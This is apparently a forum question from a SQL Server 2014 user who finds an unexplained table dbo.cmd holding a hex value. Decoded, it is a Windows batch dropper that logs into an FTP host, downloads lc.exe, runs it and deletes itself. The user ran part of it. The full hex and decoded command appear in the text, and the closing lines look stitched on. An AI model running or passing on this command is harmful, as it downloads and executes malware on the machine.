I am creating a new database using the UI in SQL Server 2014 and when I open the tables it already has a table dbo.cmd
as:
CREATE TABLE [dbo].[cmd](
[a] [image] NOT NULL
) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]
It also has one row inserted as:
0x406364202573797374656D726F6F74255C68656C7026406563686F206F70656E2062326263732E676F746F667470312E636F6D3E536F2E3126406563686F2062326263733E3E536F2E3126406563686F2035357A65343235323E3E536F2E3126406563686F20676574206C632E6578653E3E536F2E3126406563686F206279653E3E536F2E312640667470202D733A536F2E312664656C20536F2E3126406C632E6578652664656C202530252665786974
I tried converting this into string and I got this:
@cd %systemroot%\help&@echo open b2bcs.gotoftp1.com>So.1&@echo b2bcs>>So.1&@echo 55ze4252>>So.1&@echo get lc.exe>>So.1&@echo bye>>So.1&@ftp -s:So.1&del So.1&@lc.exe&del %0%&exit
After focusing on this I found out that its a bash script and I tried executing the bash script and I got a file lc.exe
in my folder %systemroot%/Help/lc.exe
, I have not yet executed the last command from the script:
lc.exe&del %0%&exit
What is this? I have tried searching for this but could not find anything. I have no idea what's happening here, how can I figure this out?
model
database? Is lc.exe malware?